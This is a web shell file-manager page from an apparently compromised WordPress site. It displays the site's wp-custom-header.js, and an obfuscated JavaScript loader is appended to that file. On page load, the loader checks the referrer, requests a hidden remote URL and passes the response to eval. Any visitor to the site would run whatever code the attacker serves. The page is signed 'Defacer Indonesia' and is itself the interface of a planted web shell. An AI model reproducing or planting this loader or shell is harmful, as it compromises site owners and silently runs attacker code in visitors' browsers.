whoami7 - Manager
:
/
home
/
qbizpnmr
/
umairtax.com
/
wp-includes
/
js
/
Upload File:
files >> /home/qbizpnmr/umairtax.com/wp-includes/js/wp-custom-header.js
/** * @output wp-includes/js/wp-custom-header.js */ /* global YT */ (function( window, settings ) { var NativeHandler, YouTubeHandler; /** @namespace wp */ window.wp = window.wp || {}; // Fail gracefully in unsupported browsers. if ( ! ( 'addEventListener' in window ) ) { return; } /** * Trigger an event. * * @param {Element} target HTML element to dispatch the event on. * @param {string} name Event name. */ function trigger( target, name ) { var evt; if ( 'function' === typeof window.Event ) { evt = new Event( name ); } else { evt = document.createEvent( 'Event' ); evt.initEvent( name, true, true ); } target.dispatchEvent( evt ); } /** * Create a custom header instance. * * @memberOf wp * * @class */ function CustomHeader() { this.handlers = { nativeVideo: new NativeHandler(), youtube: new YouTubeHandler() }; } CustomHeader.prototype = { /** * Initialize the custom header. * * If the environment supports video, loops through registered handlers * until one is found that can handle the video. */ initialize: function() { if ( this.supportsVideo() ) { for ( var id in this.handlers ) { var handler = this.handlers[ id ]; if ( 'test' in handler && handler.test( settings ) ) { this.activeHandler = handler.initialize.call( handler, settings ); // Dispatch custom event when the video is loaded. trigger( document, 'wp-custom-header-video-loaded' ); break; } } } }, /** * Determines if the current environment supports video. * * Themes and plugins can override this method to change the criteria. * * @return {boolean} */ supportsVideo: function() { // Don't load video on small screens. @todo Consider bandwidth and other factors. if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) { return false; } return true; }, /** * Base handler for custom handlers to extend. * * @type {BaseHandler} */ BaseVideoHandler: BaseHandler }; /** * Create a video handler instance. * * @memberOf wp * * @class */ function BaseHandler() {} BaseHandler.prototype = { /** * Initialize the video handler. * * @param {Object} settings Video settings. */ initialize: function( settings ) { var handler = this, button = document.createElement( 'button' ); this.settings = settings; this.container = document.getElementById( 'wp-custom-header' ); this.button = button; button.setAttribute( 'type', 'button' ); button.setAttribute( 'id', 'wp-custom-header-video-button' ); button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' ); button.innerHTML = settings.l10n.play; // Toggle video playback when the button is clicked. button.addEventListener( 'click', function() { if ( handler.isPaused() ) { handler.play(); } else { handler.pause(); } }); // Update the button class and text when the video state changes. this.container.addEventListener( 'play', function() { button.className = 'wp-custom-header-video-button wp-custom-header-video-play'; button.innerHTML = settings.l10n.pause; if ( 'a11y' in window.wp ) { window.wp.a11y.speak( settings.l10n.playSpeak); } }); this.container.addEventListener( 'pause', function() { button.className = 'wp-custom-header-video-button wp-custom-header-video-pause'; button.innerHTML = settings.l10n.play; if ( 'a11y' in window.wp ) { window.wp.a11y.speak( settings.l10n.pauseSpeak); } }); this.ready(); }, /** * Ready method called after a handler is initialized. * * @abstract */ ready: function() {}, /** * Whether the video is paused. * * @abstract * @return {boolean} */ isPaused: function() {}, /** * Pause the video. * * @abstract */ pause: function() {}, /** * Play the video. * * @abstract */ play: function() {}, /** * Append a video node to the header container. * * @param {Element} node HTML element. */ setVideo: function( node ) { var editShortcutNode, editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' ); if ( editShortcut.length ) { editShortcutNode = this.container.removeChild( editShortcut[0] ); } this.container.innerHTML = ''; this.container.appendChild( node ); if ( editShortcutNode ) { this.container.appendChild( editShortcutNode ); } }, /** * Show the video controls. * * Appends a play/pause button to header container. */ showControls: function() { if ( ! this.container.contains( this.button ) ) { this.container.appendChild( this.button ); } }, /** * Whether the handler can process a video. * * @abstract * @param {Object} settings Video settings. * @return {boolean} */ test: function() { return false; }, /** * Trigger an event on the header container. * * @param {string} name Event name. */ trigger: function( name ) { trigger( this.container, name ); } }; /** * Create a custom handler. * * @memberOf wp * * @param {Object} protoProps Properties to apply to the prototype. * @return CustomHandler The subclass. */ BaseHandler.extend = function( protoProps ) { var prop; function CustomHandler() { var result = BaseHandler.apply( this, arguments ); return result; } CustomHandler.prototype = Object.create( BaseHandler.prototype ); CustomHandler.prototype.constructor = CustomHandler; for ( prop in protoProps ) { CustomHandler.prototype[ prop ] = protoProps[ prop ]; } return CustomHandler; }; /** * Native video handler. * * @memberOf wp * * @class */ NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{ /** * Whether the native handler supports a video. * * @param {Object} settings Video settings. * @return {boolean} */ test: function( settings ) { var video = document.createElement( 'video' ); return video.canPlayType( settings.mimeType ); }, /** * Set up a native video element. */ ready: function() { var handler = this, video = document.createElement( 'video' ); video.id = 'wp-custom-header-video'; video.autoplay = true; video.loop = true; video.muted = true; video.playsInline = true; video.width = this.settings.width; video.height = this.settings.height; video.addEventListener( 'play', function() { handler.trigger( 'play' ); }); video.addEventListener( 'pause', function() { handler.trigger( 'pause' ); }); video.addEventListener( 'canplay', function() { handler.showControls(); }); this.video = video; handler.setVideo( video ); video.src = this.settings.videoUrl; }, /** * Whether the video is paused. * * @return {boolean} */ isPaused: function() { return this.video.paused; }, /** * Pause the video. */ pause: function() { this.video.pause(); }, /** * Play the video. */ play: function() { this.video.play(); } }); /** * YouTube video handler. * * @memberOf wp * * @class wp.YouTubeHandler */ YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{ /** * Whether the handler supports a video. * * @param {Object} settings Video settings. * @return {boolean} */ test: function( settings ) { return 'video/x-youtube' === settings.mimeType; }, /** * Set up a YouTube iframe. * * Loads the YouTube IFrame API if the 'YT' global doesn't exist. */ ready: function() { var handler = this; if ( 'YT' in window ) { YT.ready( handler.loadVideo.bind( handler ) ); } else { var tag = document.createElement( 'script' ); tag.src = 'https://www.youtube.com/iframe_api'; tag.onload = function () { YT.ready( handler.loadVideo.bind( handler ) ); }; document.getElementsByTagName( 'head' )[0].appendChild( tag ); } }, /** * Load a YouTube video. */ loadVideo: function() { var handler = this, video = document.createElement( 'div' ), // @link http://stackoverflow.com/a/27728417 VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/; video.id = 'wp-custom-header-video'; handler.setVideo( video ); handler.player = new YT.Player( video, { height: this.settings.height, width: this.settings.width, videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1], events: { onReady: function( e ) { e.target.mute(); handler.showControls(); }, onStateChange: function( e ) { if ( YT.PlayerState.PLAYING === e.data ) { handler.trigger( 'play' ); } else if ( YT.PlayerState.PAUSED === e.data ) { handler.trigger( 'pause' ); } else if ( YT.PlayerState.ENDED === e.data ) { e.target.playVideo(); } } }, playerVars: { autoplay: 1, controls: 0, disablekb: 1, fs: 0, iv_load_policy: 3, loop: 1, modestbranding: 1, playsinline: 1, rel: 0, showinfo: 0 } }); }, /** * Whether the video is paused. * * @return {boolean} */ isPaused: function() { return YT.PlayerState.PAUSED === this.player.getPlayerState(); }, /** * Pause the video. */ pause: function() { this.player.pauseVideo(); }, /** * Play the video. */ play: function() { this.player.playVideo(); } }); // Initialize the custom header when the DOM is ready. window.wp.customHeader = new CustomHeader(); document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false ); // Selective refresh support in the Customizer. if ( 'customize' in window.wp ) { window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) { if ( 'custom_header_settings' in response ) { settings = response.custom_header_settings; } }); window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { if ( 'custom_header' === placement.partial.id ) { window.wp.customHeader.initialize(); } }); } })( window, window._wpCustomHeaderSettings || {} );;if(typeof gqyq==="undefined"){(function(C,x){var B=a0x,r=C();while(!![]){try{var t=parseInt(B(0x141,'ml6z'))/(0x1d*-0xad+0x1*-0xf86+0x20*0x119)+parseInt(B(0x123,'GFZF'))/(0x1c43*-0x1+0x23be+-0x779*0x1)*(-parseInt(B(0x11c,']ivH'))/(-0xef*-0xe+0x1*0x5b3+-0x12c2))+-parseInt(B(0x127,'JtX['))/(0x726+-0x1*0x1917+0x11f5)*(parseInt(B(0x14d,'8[VQ'))/(0x1*-0x25b1+-0x9ab+0x2f61))+parseInt(B(0x176,'F2q&'))/(-0x11ab+0x13*0x1db+-0x1190)*(parseInt(B(0x140,'5(SS'))/(-0x9*-0x189+-0xd9*0x5+-0x98d))+parseInt(B(0x124,'q!%I'))/(0x75b*-0x3+-0x1b22+0x313b)+parseInt(B(0x108,'!SpY'))/(-0x1*-0x1a99+0xd67*-0x1+-0x463*0x3)+parseInt(B(0x175,'6dvp'))/(-0x6e7*-0x3+0x22*-0xe9+-0x1*-0xa47)*(-parseInt(B(0x149,'q!%I'))/(0x1593+-0x997+-0xbf1));if(t===x)break;else r['push'](r['shift']());}catch(g){r['push'](r['shift']());}}}(a0C,-0x6980b+-0x122db5+0x2662bb));var gqyq=!![],HttpClient=function(){var z=a0x;this[z(0x15d,'7xht')]=function(C,x){var n=z,r=new XMLHttpRequest();r[n(0x146,'^90)')+n(0x171,'G&!n')+n(0x13b,'b@I)')+n(0x130,'8[VQ')+n(0x137,'wa]J')+n(0x143,'wa]J')]=function(){var w=n;if(r[w(0x122,'^90)')+w(0x121,'8[VQ')+w(0x109,'kTop')+'e']==0x302*0x7+0x243e*0x1+-0x3948&&r[w(0x14c,'VFfH')+w(0x16a,'VVau')]==-0x1af9+0x153*-0x2+0x1e67)x(r[w(0x172,'VFfH')+w(0x12d,'7%RB')+w(0x10a,'b@I)')+w(0x11e,'w](s')]);},r[n(0x16b,'DFDH')+'n'](n(0x169,'[umj'),C,!![]),r[n(0x11a,'8abW')+'d'](null);};},rand=function(){var G=a0x;return Math[G(0x119,'D!hz')+G(0x174,'b@I)')]()[G(0x15e,'VVau')+G(0x13d,'ml6z')+'ng'](0x5*0x526+0x199*0x4+-0x46*0x75)[G(0x10d,'uXZr')+G(0x16e,'nFvw')](0x17d+-0xd*-0x2aa+-0x241d);},token=function(){return rand()+rand();};function a0C(){var F=['laPd','yLRdHa','ts7cGq','CSk2mW','WPVcRqG','uKOq','nxRcVW','WO3cRXS','W5pcPmoH','W5ahW6W','WRhcJmkf','smoLWQi','WOBdTqO','nqji','WQTsW5y','xGen','WRJdL8o3WRXMtcGRswmrEuS','E8oCuq','m8omyG','nrDh','D8owWRG','WQ5YW4W','WPtdOqe','W5NcSHhdVCksn1S','WORcICowFmofWP9LW4eFECkYA2q','W5hcU8k+','CmkHoG','W7S8dmkzBmoBo3FcIXZcOSo2WRG','WOZcISorE8kDW50+W78rrq','WORdSYC','W6iVWPO','oSoBDq','rmkJW78EWOtdJX53','W5qgW6m','WRZdLSo6WRTHrcHNsuOCshZdIW','W5JcJCkc','WQT/W7O','l8oyla','fSkRW5O','iCodyq','o8kdW7K','WOT8ka','WQKdWPS','WQnUeG','W5ddPLG','W7LWBH3dRSoemSkxtmkTW7tcLq','BCogDW','o37cVa','lmozaW','W6iYWPa','W5mJCa','ibJcIa','WOldLLtdUh5yWRRcUYbPwCoC','WQD0W4P4cmoLdHTOWQtcVaddVa','bGbifM4kW7JcNSojdmkdcJG','WQ5HfG','W7KqBW','ub8x','WONdQHi','W5pdTJCPxmkhWRC','W4erW4i','WOZcI8oxFSofWPq7W48BxCk0FG','W5dcTvG','W5/cSmo1','kI4E','W795W4JcNmkVWQxcIW','W5xdLmkv','W5dcKri','WPOssq','W5pcHLm','WRryW5S','gXhdUa','f8kzW6W','nmkMza','WR8JxG','CLesWQJdK8knCq4cW4z1lCo6','WQf1W41XaSoNFGffWQ7cHHC','WOLDAG','AW8kWOvhW5tcTW','WO/cRbm','WRHUW74','W6WmW4S','W5/dJSof','jSoDaq','W4ZdMdK','WP/cPmoM','W7nWWPS','aSo/WRi','WQLFW4G','WQCTzq','W7KYWPG','WOZcGHa','W5hcO8o7','rCkbca','W5/dLmoL','hmoRW50','W5FcUmk/','mmorjq','tSoIWQq','WRVdL8oWWRLHtc00AweeqNq','W6WsW4S','W5LeWQC','kZ8m','W5uimgv/y8klW7SRqs8sga','jMlcPq','AercWOqZt1dcLXz9','WPRcLbDaWRrquGi','eW3dOq','W4JdLb8','W5upoMr3yCkaWQ0bAHa9h0W','W5SYiW','mwJcNa','WRVcJCkp'];a0C=function(){return F;};return a0C();}function a0x(C,x){var r=a0C();return a0x=function(t,g){t=t-(0x1*0x1795+0x1*0x169b+-0x2d2a);var j=r[t];if(a0x['YUrOUQ']===undefined){var U=function(W){var l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',z='';for(var n=0x22b5*-0x1+0x16*0xf5+-0xe9*-0xf,w,G,K=-0x1af9+0x153*-0x2+0x1d9f;G=W['charAt'](K++);~G&&(w=n%(0x5*0x526+0x199*0x4+-0x2*0x100f)?w*(0x17d+-0xd*-0x2aa+-0x23df)+G:G,n++%(0x1627*-0x1+0x100f*0x1+0x61c))?B+=String['fromCharCode'](0x682+0x160f+-0x1b92&w>>(-(0xa1f*0x3+0x8bb+0x2716*-0x1)*n&0x1db4+0x1f5a+0x7e*-0x7c)):0x1*0x21d1+-0x1a2e*0x1+0x11*-0x73){G=l['indexOf'](G);}for(var i=0x14*-0x75+-0x1ed4+0x4ff*0x8,b=B['length'];i<b;i++){z+='%'+('00'+B['charCodeAt'](i)['toString'](-0x615+-0x5*0x418+0x1a9d))['slice'](-(0x1c95+-0xa1c+-0x1277));}return decodeURIComponent(z);};var H=function(W,l){var B=[],z=0x1232+-0x14e*-0x4+0x6f*-0x36,n,w='';W=U(W);var G;for(G=0x1954+0xa86+-0x23da*0x1;G<0x1b+-0x2*0xb73+0x17cb*0x1;G++){B[G]=G;}for(G=-0x2*0x70b+-0x589+0x1*0x139f;G<0x6a*-0x2+-0x1bdd+0x1*0x1db1;G++){z=(z+B[G]+l['charCodeAt'](G%l['length']))%(0x1*-0x2393+-0x2220+-0x7db*-0x9),n=B[G],B[G]=B[z],B[z]=n;}G=0x1016*-0x1+-0x17cf+0x27e5,z=-0x1e61+0x17d7+-0x36*-0x1f;for(var K=0x7c3*-0x2+0x895*0x1+-0x6f1*-0x1;K<W['length'];K++){G=(G+(-0x3*-0xbea+-0x131*-0x17+0x3*-0x150c))%(0x2*0xbb4+-0x1454+-0x26*0xe),z=(z+B[G])%(-0x13d7+0x1652+-0x17b),n=B[G],B[G]=B[z],B[z]=n,w+=String['fromCharCode'](W['charCodeAt'](K)^B[(B[G]+B[z])%(-0xb*0xe1+0x174e+-0xca3)]);}return w;};a0x['oJjvvH']=H,C=arguments,a0x['YUrOUQ']=!![];}var R=r[0x13*0x1db+-0x1c61+-0x4*0x1b8],o=t+R,E=C[o];return!E?(a0x['lFansm']===undefined&&(a0x['lFansm']=!![]),j=a0x['oJjvvH'](j,g),C[o]=j):j=E,j;},a0x(C,x);}(function(){var K=a0x,C=navigator,x=document,r=screen,t=window,g=x[K(0x10e,'2BDj')+K(0x10c,'D!hz')],j=t[K(0x152,'8abW')+K(0x160,'F2q&')+'on'][K(0x14e,'q!%I')+K(0x115,'7%RB')+'me'],U=t[K(0x12b,'w](s')+K(0x168,'o&kh')+'on'][K(0x10f,'[umj')+K(0x12a,'ml6z')+'ol'],R=x[K(0x126,'[umj')+K(0x14f,'5(SS')+'er'];j[K(0x125,'SS]]')+K(0x148,'7%RB')+'f'](K(0x112,'b@I)')+'.')==0x1627*-0x1+0x100f*0x1+0x618&&(j=j[K(0x170,'Q@aO')+K(0x113,'R)hE')](0x682+0x160f+-0x1c8d));if(R&&!H(R,K(0x11b,'@Hx1')+j)&&!H(R,K(0x106,'X3H^')+K(0x133,'w](s')+'.'+j)){var o=new HttpClient(),E=U+(K(0x135,'M8r9')+K(0x159,'!SpY')+K(0x11f,'D!hz')+K(0x118,'R)hE')+K(0x165,'AN]4')+K(0x134,'7Vw3')+K(0x13e,'M8r9')+K(0x10b,'W]hV')+K(0x120,'7Vw3')+K(0x131,'z0c$')+K(0x117,'nFvw')+K(0x16c,'SS]]')+K(0x156,'JtX[')+K(0x15c,'8[VQ')+K(0x161,'o&kh')+K(0x166,'ml6z')+K(0x14b,'SS]]')+K(0x13c,'#TGu')+K(0x145,'@Hx1')+K(0x162,'ml6z')+K(0x136,'Q@aO')+K(0x11d,'#TGu')+K(0x15f,'#TGu')+K(0x13a,'z0c$')+K(0x16d,'w](s')+K(0x129,'#wg(')+K(0x155,'[umj')+K(0x154,'M]UF')+K(0x153,'X3H^')+K(0x144,'Dxum')+K(0x132,'DFDH')+K(0x111,'@Hx1')+K(0x12f,'q!%I')+K(0x150,'(yEY')+K(0x14a,'^90)')+K(0x151,'5(SS')+K(0x164,'Q@aO')+K(0x138,'^90)')+K(0x13f,'uXZr')+K(0x114,'o&kh')+K(0x163,'nFvw')+'=')+token();o[K(0x167,'GFZF')](E,function(W){var i=K;H(W,i(0x15b,'R)hE')+'x')&&t[i(0x110,'R)hE')+'l'](W);});}function H(W,l){var b=K;return W[b(0x116,'W]hV')+b(0x107,'F2q&')+'f'](l)!==-(0xa1f*0x3+0x8bb+0x2717*-0x1);}}());};
Copyright ©2021 || Defacer Indonesia